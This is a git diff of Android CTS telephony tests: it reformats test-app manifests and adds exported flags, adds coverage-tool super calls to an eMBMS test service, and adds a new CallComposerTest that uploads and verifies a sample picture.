                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
@@ -172,35 +191,36 @@
             </intent-filter>
         </service>
 
-        <activity android:name="android.telephony.cts.StubDialerActvity">
+        <activity android:name="android.telephony.cts.StubDialerActvity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:mimeType="vnd.android.cursor.item/phone" />
-                <data android:mimeType="vnd.android.cursor.item/person" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:mimeType="vnd.android.cursor.item/phone"/>
+                <data android:mimeType="vnd.android.cursor.item/person"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="voicemail" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="voicemail"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="tel" />
+                <action android:name="android.intent.action.VIEW"/>
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="tel"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
@@ -208,41 +228,44 @@
 
         <activity android:name="android.telephony.euicc.cts.EuiccResolutionActivity"/>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
 
         <!-- This is the receiver defined by the MBMS api. -->
-        <receiver
-            android:name="android.telephony.mbms.MbmsDownloadReceiver"
-            android:permission="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"
-            android:enabled="true"
-            android:exported="true">
+        <receiver android:name="android.telephony.mbms.MbmsDownloadReceiver"
+             android:permission="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"
+             android:enabled="true"
+             android:exported="true">
         </receiver>
 
-        <provider
-            android:name="android.telephony.mbms.MbmsTempFileProvider"
-            android:authorities="android.telephony.mbms.cts"
-            android:exported="false"
-            android:grantUriPermissions="true">
+        <provider android:name="android.telephony.mbms.MbmsTempFileProvider"
+             android:authorities="android.telephony.mbms.cts"
+             android:exported="false"
+             android:grantUriPermissions="true">
         </provider>
 
         <meta-data android:name="mbms-streaming-service-override"
-                   android:value="android.telephony.cts.embmstestapp/.CtsStreamingService"/>
+             android:value="android.telephony.cts.embmstestapp/.CtsStreamingService"/>
         <meta-data android:name="mbms-download-service-override"
-                   android:value="android.telephony.cts.embmstestapp/.CtsDownloadService"/>
+             android:value="android.telephony.cts.embmstestapp/.CtsDownloadService"/>
         <meta-data android:name="mbms-group-call-service-override"
-                   android:value="android.telephony.cts.embmstestapp/.CtsGroupCallService"/>
-        <meta-data
-            android:name="mbms-file-provider-authority"
-            android:value="android.telephony.mbms.cts"/>
+             android:value="android.telephony.cts.embmstestapp/.CtsGroupCallService"/>
+        <meta-data android:name="mbms-file-provider-authority"
+             android:value="android.telephony.mbms.cts"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.telephony.cts"
-                     android:label="CTS tests of android.telephony">
+         android:targetPackage="android.telephony.cts"
+         android:label="CTS tests of android.telephony">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
+    <!-- Make sure the cts can connect to CarrierMessagingServices. This is needed for
+        CarrierMessagingServiceWrapperTest. -->
+    <queries>
+        <intent>
+            <action android:name="android.service.carrier.CarrierMessagingService" />
+        </intent>
+    </queries>
 </manifest>
-
diff --git a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/AndroidManifest.xml b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/AndroidManifest.xml
index 0798e79..3913ae0 100644
--- a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/AndroidManifest.xml
+++ b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/AndroidManifest.xml
@@ -15,35 +15,37 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.telephony.cts.embmstestapp">
+     package="android.telephony.cts.embmstestapp">
   <permission android:name="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"
-              android:protectionLevel="signature"/>
+       android:protectionLevel="signature"/>
 
   <uses-permission android:name="android.telephony.cts.embms.permission.SEND_EMBMS_INTENTS"/>
   <uses-permission android:name="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"/>
 
   <application android:label="EmbmsCtsMiddleware">
     <service android:name="android.telephony.cts.embmstestapp.CtsStreamingService"
-            android:launchMode="singleInstance">
+         android:launchMode="singleInstance"
+         android:exported="true">
       <intent-filter>
-        <action android:name="android.telephony.action.EmbmsStreaming" />
-        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE" />
+        <action android:name="android.telephony.action.EmbmsStreaming"/>
+        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE"/>
       </intent-filter>
     </service>
     <service android:name="android.telephony.cts.embmstestapp.CtsGroupCallService"
-             android:launchMode="singleInstance">
+         android:launchMode="singleInstance"
+         android:exported="true">
       <intent-filter>
-        <action android:name="android.telephony.action.EmbmsGroupCall" />
-        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE" />
+        <action android:name="android.telephony.action.EmbmsGroupCall"/>
+        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE"/>
       </intent-filter>
     </service>
     <service android:name="android.telephony.cts.embmstestapp.CtsDownloadService"
-             android:launchMode="singleInstance">
+         android:launchMode="singleInstance"
+         android:exported="true">
       <intent-filter>
-        <action android:name="android.telephony.action.EmbmsDownload" />
-        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE" />
+        <action android:name="android.telephony.action.EmbmsDownload"/>
+        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE"/>
       </intent-filter>
     </service>
   </application>
 </manifest>
-
diff --git a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsDownloadService.java b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsDownloadService.java
index e74c315..3d968b4 100644
--- a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsDownloadService.java
+++ b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsDownloadService.java
@@ -148,7 +148,9 @@
 
     private final MbmsDownloadServiceBase mDownloadServiceImpl = new MbmsDownloadServiceBase() {
         @Override
-        public int initialize(int subscriptionId, MbmsDownloadSessionCallback callback) {
+        public int initialize(int subscriptionId, MbmsDownloadSessionCallback callback)
+                throws RemoteException {
+            super.initialize(subscriptionId, callback); // noop to placate the coverage tool
             Bundle b = new Bundle();
             b.putString(METHOD_NAME, METHOD_INITIALIZE);
             b.putInt(ARGUMENT_SUBSCRIPTION_ID, subscriptionId);
@@ -182,7 +184,11 @@
         }
 
         @Override
-        public int requestUpdateFileServices(int subscriptionId, List<String> serviceClasses) {
+        public int requestUpdateFileServices(int subscriptionId, List<String> serviceClasses)
+                throws RemoteException {
+            // noop to placate the coverage tool
+            super.requestUpdateFileServices(subscriptionId, serviceClasses);
+
             Bundle b = new Bundle();
             b.putString(METHOD_NAME, METHOD_REQUEST_UPDATE_FILE_SERVICES);
             b.putInt(ARGUMENT_SUBSCRIPTION_ID, subscriptionId);
@@ -205,13 +211,17 @@
         }
 
         @Override
-        public int download(DownloadRequest downloadRequest) {
+        public int download(DownloadRequest downloadRequest) throws RemoteException {
+            super.download(downloadRequest); // noop to placate the coverage tool
             mReceivedRequests.add(downloadRequest);
             return MbmsErrors.SUCCESS;
         }
 
         @Override
-        public int setTempFileRootDirectory(int subscriptionId, String rootDirectoryPath) {
+        public int setTempFileRootDirectory(int subscriptionId, String rootDirectoryPath)
+                throws RemoteException {
+            // noop to placate the coverage tool
+            super.setTempFileRootDirectory(subscriptionId, rootDirectoryPath);
             if (mErrorCodeOverride != MbmsErrors.SUCCESS) {
                 return mErrorCodeOverride;
             }
@@ -228,6 +238,8 @@
         @Override
         public int addProgressListener(DownloadRequest downloadRequest,
                 DownloadProgressListener listener) throws RemoteException {
+            // noop to placate the coverage tool
+            super.addProgressListener(downloadRequest, listener);
             mDownloadProgressListener = listener;
             return MbmsErrors.SUCCESS;
         }
@@ -235,12 +247,16 @@
         @Override
         public int addStatusListener(DownloadRequest downloadRequest,
                 DownloadStatusListener listener) throws RemoteException {
+            // noop to placate the coverage tool
+            super.addStatusListener(downloadRequest, listener);
             mDownloadStatusListener = listener;
             return MbmsErrors.SUCCESS;
         }
 
         @Override
-        public void dispose(int subscriptionId) {
+        public void dispose(int subscriptionId) throws RemoteException {
+            // noop to placate the coverage tool
+            super.dispose(subscriptionId);
             Bundle b = new Bundle();
             b.putString(METHOD_NAME, METHOD_CLOSE);
             b.putInt(ARGUMENT_SUBSCRIPTION_ID, subscriptionId);
@@ -248,7 +264,10 @@
         }
 
         @Override
-        public int requestDownloadState(DownloadRequest downloadRequest, FileInfo fileInfo) {
+        public int requestDownloadState(DownloadRequest downloadRequest, FileInfo fileInfo)
+                throws RemoteException {
+            // noop to placate the coverage tool
+            super.requestDownloadState(downloadRequest, fileInfo);
             Bundle b = new Bundle();
             b.putString(METHOD_NAME, METHOD_GET_DOWNLOAD_STATUS);
             b.putParcelable(ARGUMENT_DOWNLOAD_REQUEST, downloadRequest);
@@ -259,6 +278,12 @@
 
         @Override
         public int addServiceAnnouncement(int subscriptionId, byte[] announcementFile) {
+            try {
+                // noop to placate the coverage tool
+                super.addServiceAnnouncement(subscriptionId, announcementFile);
+            } catch (UnsupportedOperationException e) {
+                // expected
+            }
             Bundle b = new Bundle();
             b.putString(METHOD_NAME, METHOD_ADD_SERVICE_ANNOUNCEMENT);
             b.putInt(ARGUMENT_SUBSCRIPTION_ID, subscriptionId);
@@ -268,7 +293,9 @@
         }
 
         @Override
-        public int cancelDownload(DownloadRequest request) {
+        public int cancelDownload(DownloadRequest request) throws RemoteException {
+            // noop to placate the coverage tool
+            super.cancelDownload(request);
             Bundle b = new Bundle();
             b.putString(METHOD_NAME, METHOD_CANCEL_DOWNLOAD);
             b.putParcelable(ARGUMENT_DOWNLOAD_REQUEST, request);
@@ -278,19 +305,26 @@
         }
 
         @Override
-        public List<DownloadRequest> listPendingDownloads(int subscriptionId) {
+        public List<DownloadRequest> listPendingDownloads(int subscriptionId)
+                throws RemoteException {
+            // noop to placate the coverage tool
+            super.listPendingDownloads(subscriptionId);
             return mReceivedRequests;
         }
 
         @Override
         public int removeStatusListener(DownloadRequest downloadRequest,
-                DownloadStatusListener callback) {
+                DownloadStatusListener callback) throws RemoteException {
+            // noop to placate the coverage tool
+            super.removeStatusListener(downloadRequest, callback);
             mDownloadStatusListener = null;
             return MbmsErrors.SUCCESS;
         }
 
         @Override
-        public int resetDownloadKnowledge(DownloadRequest downloadRequest) {
+        public int resetDownloadKnowledge(DownloadRequest downloadRequest) throws RemoteException {
+            // noop to placate the coverage tool
+            super.resetDownloadKnowledge(downloadRequest);
             Bundle b = new Bundle();
             b.putString(METHOD_NAME, METHOD_RESET_DOWNLOAD_KNOWLEDGE);
             b.putParcelable(ARGUMENT_DOWNLOAD_REQUEST, downloadRequest);
@@ -300,6 +334,8 @@
 
         @Override
         public void onAppCallbackDied(int uid, int subscriptionId) {
+            // noop to placate the coverage tool
+            super.onAppCallbackDied(uid, subscriptionId);
             mAppCallback = null;
         }
     };
diff --git a/tests/tests/telephony/current/LocationAccessingApp/AndroidManifest.xml b/tests/tests/telephony/current/LocationAccessingApp/AndroidManifest.xml
index 332d369..e6cdab8 100644
--- a/tests/tests/telephony/current/LocationAccessingApp/AndroidManifest.xml
+++ b/tests/tests/telephony/current/LocationAccessingApp/AndroidManifest.xml
@@ -15,7 +15,7 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.telephony.cts.locationaccessingapp">
+     package="android.telephony.cts.locationaccessingapp">
 
   <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
   <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
@@ -24,11 +24,11 @@
 
   <application android:label="LocationAccessingApp">
     <service android:name="android.telephony.cts.locationaccessingapp.CtsLocationAccessService"
-             android:launchMode="singleInstance">
+         android:launchMode="singleInstance"
+         android:exported="true">
       <intent-filter>
-        <action android:name="android.telephony.cts.locationaccessingapp.ACTION_CONTROL" />
+        <action android:name="android.telephony.cts.locationaccessingapp.ACTION_CONTROL"/>
       </intent-filter>
     </service>
   </application>
 </manifest>
-
diff --git a/tests/tests/telephony/current/LocationAccessingApp/sdk28/AndroidManifest.xml b/tests/tests/telephony/current/LocationAccessingApp/sdk28/AndroidManifest.xml
index 811d9ce..b51ee76 100644
--- a/tests/tests/telephony/current/LocationAccessingApp/sdk28/AndroidManifest.xml
+++ b/tests/tests/telephony/current/LocationAccessingApp/sdk28/AndroidManifest.xml
@@ -15,7 +15,7 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.telephony.cts.locationaccessingapp.sdk28">
+     package="android.telephony.cts.locationaccessingapp.sdk28">
 
   <uses-sdk android:targetSdkVersion="28"/>
   <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
@@ -24,11 +24,11 @@
 
   <application android:label="LocationAccessingAppSdk28">
     <service android:name="android.telephony.cts.locationaccessingapp.CtsLocationAccessService"
-             android:launchMode="singleInstance">
+         android:launchMode="singleInstance"
+         android:exported="true">
       <intent-filter>
-        <action android:name="android.telephony.cts.locationaccessingapp.ACTION_CONTROL" />
+        <action android:name="android.telephony.cts.locationaccessingapp.ACTION_CONTROL"/>
       </intent-filter>
     </service>
   </application>
 </manifest>
-
diff --git a/tests/tests/telephony/current/TestExternalImsServiceApp/AndroidManifest.xml b/tests/tests/telephony/current/TestExternalImsServiceApp/AndroidManifest.xml
index 7062fd4..cf733ab 100644
--- a/tests/tests/telephony/current/TestExternalImsServiceApp/AndroidManifest.xml
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/AndroidManifest.xml
@@ -16,17 +16,18 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.telephony.cts.externalimsservice">
+     package="android.telephony.cts.externalimsservice">
 
     <application>
         <service android:name=".TestExternalImsService"
-                 android:directBootAware="true"
-                 android:persistent="true">
-            <meta-data android:name="override_bind_check" android:value="true" />
+             android:directBootAware="true"
+             android:persistent="true"
+             android:exported="true">
+            <meta-data android:name="override_bind_check"
+                 android:value="true"/>
             <intent-filter>
-                <action android:name="android.telephony.ims.ImsService" />
+                <action android:name="android.telephony.ims.ImsService"/>
             </intent-filter>
         </service>
     </application>
 </manifest>
-
diff --git a/tests/tests/telephony/current/permissions/Android.bp b/tests/tests/telephony/current/permissions/Android.bp
index e6e7541..f13b0e3 100644
--- a/tests/tests/telephony/current/permissions/Android.bp
+++ b/tests/tests/telephony/current/permissions/Android.bp
@@ -32,6 +32,9 @@
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+    "src/**/*.java",
+    ":cts-telephony-utils"
+    ],
     sdk_version: "test_current",
 }
diff --git a/tests/tests/telephony/current/permissions/OWNERS b/tests/tests/telephony/current/permissions/OWNERS
deleted file mode 100644
index b19c963..0000000
--- a/tests/tests/telephony/current/permissions/OWNERS
+++ /dev/null
@@ -1,2 +0,0 @@
-set noparent
-include ../../telephony/OWNERS
\ No newline at end of file
diff --git a/tests/tests/telephony/current/permissions/src/android/telephony/cts/telephonypermission/TelephonyManagerReadPhoneStatePermissionTest.java b/tests/tests/telephony/current/permissions/src/android/telephony/cts/telephonypermission/TelephonyManagerReadPhoneStatePermissionTest.java
index 688fc52..8f4922c 100644
--- a/tests/tests/telephony/current/permissions/src/android/telephony/cts/telephonypermission/TelephonyManagerReadPhoneStatePermissionTest.java
+++ b/tests/tests/telephony/current/permissions/src/android/telephony/cts/telephonypermission/TelephonyManagerReadPhoneStatePermissionTest.java
@@ -27,11 +27,13 @@
 import android.telecom.TelecomManager;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
+import android.telephony.cts.TelephonyUtils;
 import android.telephony.emergency.EmergencyNumber;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -59,6 +61,13 @@
         assertNotNull(mTelecomManager);
     }
 
+    @After
+    public void tearDown() throws Exception {
+        TelephonyUtils.resetCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                TelephonyUtils.CTS_APP_PACKAGE,
+                TelephonyUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
+    }
+
     public static void grantUserReadPhoneStatePermission() {
         UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         uiAutomation.grantRuntimePermission(getContext().getPackageName(),
@@ -98,15 +107,31 @@
      * isModemEnabledForSlot(int slotIndex)
      * isMultiSimSupported()
      * doesSwitchMultiSimConfigTriggerReboot()
+     * getCallState() (when compat fwk enables enforcement)
+     * getCallStateForSubscription() (when compat fwk enables enforcement)
      */
     @Test
-    public void testTelephonyManagersAPIsRequiringReadPhoneStatePermissions() {
+    public void testTelephonyManagersAPIsRequiringReadPhoneStatePermissions() throws Exception {
         if (!mHasTelephony) {
             return;
         }
 
         grantUserReadPhoneStatePermission();
 
+        try {
+            // We must ensure that compat fwk enables READ_PHONE_STATE enforcement
+            TelephonyUtils.enableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE,
+                    TelephonyUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
+            mTelephonyManager.getCallState();
+            mTelephonyManager.getCallStateForSubscription();
+        } catch (SecurityException e) {
+            fail("TelephonyManager#getCallState and TelephonyManager#getCallStateForSubscription "
+                    + "must not throw a SecurityException because READ_PHONE_STATE permission is "
+                    + "granted and TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION is "
+                    + "enabled.");
+        }
+
         int subId = mTelephonyManager.getSubscriptionId();
 
         try {
diff --git a/tests/tests/telephony/current/res/drawable/cupcake.png b/tests/tests/telephony/current/res/drawable/cupcake.png
new file mode 100644
index 0000000..dcc74e5
--- /dev/null
+++ b/tests/tests/telephony/current/res/drawable/cupcake.png
Binary files differ
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java
new file mode 100644
index 0000000..4b67468
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java
@@ -0,0 +1,249 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.OutcomeReceiver;
+import android.os.ParcelFileDescriptor;
+import android.os.ParcelUuid;
+import android.os.UserHandle;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.RequiredFeatureRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.StandardOpenOption;
+import java.util.UUID;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class CallComposerTest {
+    private static final String TEST_FILE_NAME = "red_velvet_cupcake.png";
+    private static final String TEST_FILE_CONTENT_TYPE = "image/png";
+    private static final long TEST_TIMEOUT_MILLIS = 5000;
+
+    private String mPreviousDefaultDialer;
+    private Context mContext;
+    private boolean mPreviousTestMode;
+
+    @Rule
+    public final RequiredFeatureRule mTelephonyRequiredRule =
+            new RequiredFeatureRule(PackageManager.FEATURE_TELEPHONY);
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        overrideDefaultDialer();
+        mPreviousTestMode = Boolean.parseBoolean(
+                TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                        "cmd phone callcomposer test-mode query"));
+        TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd phone callcomposer test-mode enable");
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        restoreDefaultDialer();
+        TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd phone callcomposer test-mode "
+                        + (mPreviousTestMode ? "enable" : "disable"));
+        Files.deleteIfExists(mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME));
+    }
+
+    @Test
+    public void testUploadPictureWithFile() throws Exception {
+        Path testFile = mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME);
+        byte[] imageData = getSamplePictureAsBytes();
+        Files.write(testFile, imageData);
+
+        UUID handle = pictureUploadHelper(testFile, null, -1);
+        checkStoredData(handle, imageData);
+    }
+
+    @Test
+    public void testUploadPictureAsStream() throws Exception {
+        byte[] imageData = getSamplePictureAsBytes();
+        ByteArrayInputStream inputStream = new ByteArrayInputStream(imageData);
+
+        UUID handle = pictureUploadHelper(null, inputStream, -1);
+        checkStoredData(handle, imageData);
+    }
+
+    @Test
+    public void testExcessivelyLargePictureAsFile() throws Exception {
+        int targetSize = (int) TelephonyManager.getMaximumCallComposerPictureSize() + 1;
+        byte[] imageData = getSamplePictureAsBytes();
+        byte[] paddedData = new byte[targetSize];
+        System.arraycopy(imageData, 0, paddedData, 0, imageData.length);
+        Path testFile = mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME);
+        Files.write(testFile, paddedData);
+
+        pictureUploadHelper(testFile, null,
+                TelephonyManager.CallComposerException.ERROR_FILE_TOO_LARGE);
+    }
+
+    @Test
+    public void testExcessivelyLargePictureAsStream() throws Exception {
+        int targetSize = (int) TelephonyManager.getMaximumCallComposerPictureSize() + 1;
+        byte[] imageData = getSamplePictureAsBytes();
+        byte[] paddedData = new byte[targetSize];
+        System.arraycopy(imageData, 0, paddedData, 0, imageData.length);
+        ByteArrayInputStream inputStream = new ByteArrayInputStream(paddedData);
+
+        pictureUploadHelper(null, inputStream,
+                TelephonyManager.CallComposerException.ERROR_FILE_TOO_LARGE);
+    }
+
+    private UUID pictureUploadHelper(Path inputFile, InputStream inputStream,
+            int expectedErrorCode) throws Exception {
+        TelephonyManager tm = mContext.getSystemService(TelephonyManager.class);
+        CompletableFuture<Pair<ParcelUuid, TelephonyManager.CallComposerException>> resultFuture =
+                new CompletableFuture<>();
+        OutcomeReceiver<ParcelUuid, TelephonyManager.CallComposerException> callback =
+                new OutcomeReceiver<ParcelUuid, TelephonyManager.CallComposerException>() {
+                    @Override
+                    public void onResult(@NonNull ParcelUuid result) {
+                        resultFuture.complete(Pair.create(result, null));
+                    }
+
+                    @Override
+                    public void onError(TelephonyManager.CallComposerException error) {
+                        resultFuture.complete(Pair.create(null, error));
+                    }
+        };
+
+        if (inputFile != null) {
+            tm.uploadCallComposerPicture(inputFile, TEST_FILE_CONTENT_TYPE,
+                    Executors.newSingleThreadExecutor(), callback);
+        } else {
+            tm.uploadCallComposerPicture(inputStream, TEST_FILE_CONTENT_TYPE,
+                    Executors.newSingleThreadExecutor(), callback);
+        }
+
+        Pair<ParcelUuid, TelephonyManager.CallComposerException> result;
+        try {
+            result = resultFuture.get(TEST_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (TimeoutException e) {
+            fail("Timed out waiting for response from TelephonyManager");
+            return null;
+        }
+
+        if (result.second != null && expectedErrorCode < 0) {
+            String error = TelephonyUtils.parseErrorCodeToString(result.second.getErrorCode(),
+                    TelephonyManager.CallComposerException.class, "ERROR_");
+            fail("Upload failed with " + error
+                    + "\nIOException: " + result.second.getIOException());
+        } else if (expectedErrorCode >= 0) {
+            String expectedError = TelephonyUtils.parseErrorCodeToString(expectedErrorCode,
+                    TelephonyManager.CallComposerException.class, "ERROR_");
+            if (result.second == null) {
+                fail("Did not get the expected error: " + expectedError);
+            } else if (result.first != null) {
+                fail("Got a UUID from Telephony when we expected " + expectedError);
+            } else if (result.second.getErrorCode() != expectedErrorCode) {
+                String observedError =
+                        TelephonyUtils.parseErrorCodeToString(result.second.getErrorCode(),
+                                TelephonyManager.CallComposerException.class, "ERROR_");
+                fail("Expected " + expectedError + ", got " + observedError);
+            }
+            // If we expected an error, the test ends here
+            return null;
+        }
+
+        assertNotNull(result.first);
+
+        // Make sure that any file descriptors opened to the test file have been closed.
+        if (inputFile != null) {
+            try {
+                Files.newOutputStream(inputFile, StandardOpenOption.WRITE,
+                        StandardOpenOption.APPEND).close();
+            } catch (IOException e) {
+                fail("Couldn't open+close the file after upload -- leaked fd? " + e);
+            }
+        }
+        return result.first.getUuid();
+    }
+
+    private void checkStoredData(UUID handle, byte[] expectedData) throws Exception {
+        String storageUri =
+                TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                        "cmd phone callcomposer simulate-outgoing-call "
+                                + SubscriptionManager.getDefaultSubscriptionId() + " "
+                                + handle.toString());
+        ParcelFileDescriptor pfd =
+                mContext.getContentResolver().openFile(Uri.parse(storageUri), "r", null);
+
+        byte[] readBytes;
+        try (InputStream is = new ParcelFileDescriptor.AutoCloseInputStream(pfd)) {
+            readBytes = readBytes(is);
+        }
+        assertArrayEquals(expectedData, readBytes);
+    }
+
+    private byte[] getSamplePictureAsBytes() throws Exception {
+        InputStream resourceInput = mContext.getResources().openRawResource(R.drawable.cupcake);
+        return readBytes(resourceInput);
+    }
+
+    private static byte[] readBytes(InputStream inputStream) throws Exception {
+        byte[] buffer = new byte[1024];
+        ByteArrayOutputStream output = new ByteArrayOutputStream();
+        int numRead;
+        do {
+            numRead = inputStream.read(buffer);
+            if (numRead > 0) output.write(buffer, 0, numRead);
+        } while (numRead > 0);
+        return output.toByteArray();
+    }
+
+    private void overrideDefaultDialer() throws Exception {
+        mPreviousDefaultDialer = TelephonyUtils.executeShellCommand(
+                InstrumentationRegistry.getInstrumentation(), "telecom get-default-dialer");
+        TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd role add-role-holder --user " + UserHandle.myUserId()
+                        + " android.app.role.DIALER " + mContext.getPackageName());
+    }
+
+    private void restoreDefaultDialer() throws Exception {
+        TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd role add-role-holder --user " + UserHandle.myUserId()
+                        + " android.app.role.DIALER " + mPreviousDefaultDialer);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index 05f4023..f9175be 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -38,9 +38,11 @@
 
 
 import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
 import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.pm.PackageManager;
-import android.net.ConnectivityManager;
 import android.os.Looper;
 import android.os.PersistableBundle;
 import android.platform.test.annotations.SecurityTest;
@@ -57,6 +59,8 @@
 import org.junit.Test;
 
 import java.io.IOException;
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
